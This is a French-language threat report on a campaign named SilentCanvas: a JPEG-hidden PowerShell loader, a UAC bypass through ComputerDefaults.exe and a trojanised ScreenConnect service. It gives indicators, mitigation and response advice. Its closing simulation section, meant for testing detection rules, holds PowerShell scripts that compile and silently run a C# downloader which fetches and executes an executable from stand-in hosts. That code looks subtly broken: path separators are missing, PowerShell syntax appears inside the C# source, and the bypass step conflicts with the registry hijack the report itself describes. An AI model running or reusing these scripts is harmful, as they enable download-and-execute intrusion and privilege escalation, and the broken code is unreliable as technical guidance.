OPÉRATION SILENTCANVAS : INTRUSION MULTIPHASE POWERSHELL À BASE DE JPEG

Résumé

L’opération SilentCanvas est une intrusion sophistiquée à plusieurs étapes qui cache une charge utile PowerShell malveillante dans un fichier JPEG nommé sysupdate.jpeg. Cette charge utile récupère et compile un lanceur personnalisé, qui est construit via csc.exe, exploite ComputerDefaults.exe pour effectuer une élévation de privilèges sans fichier (UAC bypass) et installe un service ConnectWise ScreenConnect trojanisé nommé OneDriveServers pour maintenir un accès à distance persistant. Le malware communique via des canaux chiffrés dirigés vers legitserver.theworkpc.com sur les ports 5443 and 8041. La campagne met également fortement l’accent sur l’évasion de la défense, la collecte de crédentiels et la surveillance discrète.

Enquête

Le rapport couvre à la fois l’analyse statique et dynamique du chargeur basé sur JPEG, le binaire compilé dynamiquement uds.exe , et les composants ScreenConnect modifiés. Les chercheurs ont identifié plusieurs techniques offensives, y compris le contournement de l’AMSI, l’exploitation de binaires installés, le détournement de registre et la dérivation de clés personnalisées pour la communication chiffrée. L’analyse de l’infrastructure a révélé une correspondance codée en dur entre legitserver.theworkpc.com et l’adresse IP 45.138.16.64. L’enquête a également révélé un profilage détaillé des victimes, la manipulation des comptes locaux et des fonctionnalités liées à l’accès au bureau caché.

Mitigation

Les défenseurs doivent appliquer une liste stricte d’autorisations pour les outils de surveillance et de gestion à distance légitimes et restreindre ou surveiller de près l’exécution de csc.exe, cvtres.exe, et ComputerDefaults.exe. La surveillance doit également se concentrer sur les changements de registre ms-settings suspects, le comportement de contournement de l’AMSI de PowerShell, les indicateurs de création de processus cachés et la création non autorisée de services impliquant le nom OneDriveServers. Tous les comptes qui ont pu être exposés doivent être réinitialisés, et les systèmes affectés doivent être isolés rapidement pour prévenir de nouveaux abus.

Réponse

Si des indicateurs associés sont détectés, le terminal doit être mis en quarantaine immédiatement, le uds.exe processus malveillant et l’activité PowerShell associée doivent être terminés, et le OneDriveServers service supprimé de l’hôte. Les enquêteurs doivent collecter des artefacts de registre, des binaires de service et des télémétries réseau liés à l’infrastructure de commande et de contrôle pour un examen médico-légal plus approfondi. Toutes les crédentiels privilégiées doivent être renouvelées, et les défenseurs doivent contrôler les schémas de mouvement latéral associés aux techniques documentées dans la campagne.

Exécution de simulation

Prérequis : Le contrôle préalable des télécommunications et des baselines doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour activer la règle de détection. Les commandes et le récit doivent refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou sans rapport entraîneront une mauvaise interprétation.

• Narration & commandes de l’attaque :

  1. Accès initial : L’attaquant obtient une session PowerShell à faible privilège sur le terminal.
  2. Compilation en temps réel : En utilisant le csc.exedéjà disponible, l’attaquant compile un téléchargeur C# qui récupère une charge utile de deuxième étape à partir d’un serveur C2. La compilation est lancée à partir du processus PowerShell pour respecter la condition parent-enfant.
  3. Élévation de privilèges sans fichier UAC : L’attaquant exécute l’exécutable nouvellement construit via ComputerDefaults.exe, qui demande silencieusement une élévation sans afficher de demande UAC.
  4. Exécution après élévation : La charge utile élevée établit une connexion sécurisée inversée avec l’adversaire.

  # Étape 1 – Préparer le code source C# malveillant (en mémoire)
  $csSource = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Downloader {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string payloadUrl = "http://malicious.example.com/payload.exe";
              string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
              wc.DownloadFile(payloadUrl, tempPath);
              Process.Start(tempPath);
          }
      }
  }
  "@
  
  $srcPath = "$env:TEMPDownloader.cs"
  $exePath = "$env:TEMPDownloader.exe"
  $csSource | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Étape 2 – Compiler via csc.exe (parent = PowerShell)
  & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
  
  # Étape 3 – Déclencher le contournement UAC en utilisant ComputerDefaults.exe (encore enfant de PowerShell)
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Script de test de régression : (script PowerShell autonome qui reproduit les étapes ci-dessus)

  # -----------------------------------------------------------------
  # Fichier : trigger_csc_uac_bypass.ps1
  # Objectif : Simuler la chaîne d'attaque csc.exe + ComputerDefaults.exe
  # -----------------------------------------------------------------
  
  # Créer le code source C# malveillant dans le répertoire TEMP
  $src = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Payload {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string url = "http://example.com/evil.exe";
              string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
              wc.DownloadFile(url, path);
              Process.Start(path);
          }
      }
  }
  "@
  
  $srcPath = Join-Path $env:TEMP "Payload.cs"
  $exePath = Join-Path $env:TEMP "Payload.exe"
  $src | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Compiler avec csc.exe (ce processus PowerShell devient le parent)
  $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
  & $csc /nologo /t:exe /out:$exePath $srcPath
  
  # Exécuter via ComputerDefaults.exe pour réaliser un contournement silencieux de l'UAC
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Commandes de nettoyage :

  # Supprimer les artefacts générés
  Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
  # Terminer éventuellement les processus persistants démarrés par le test
  Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force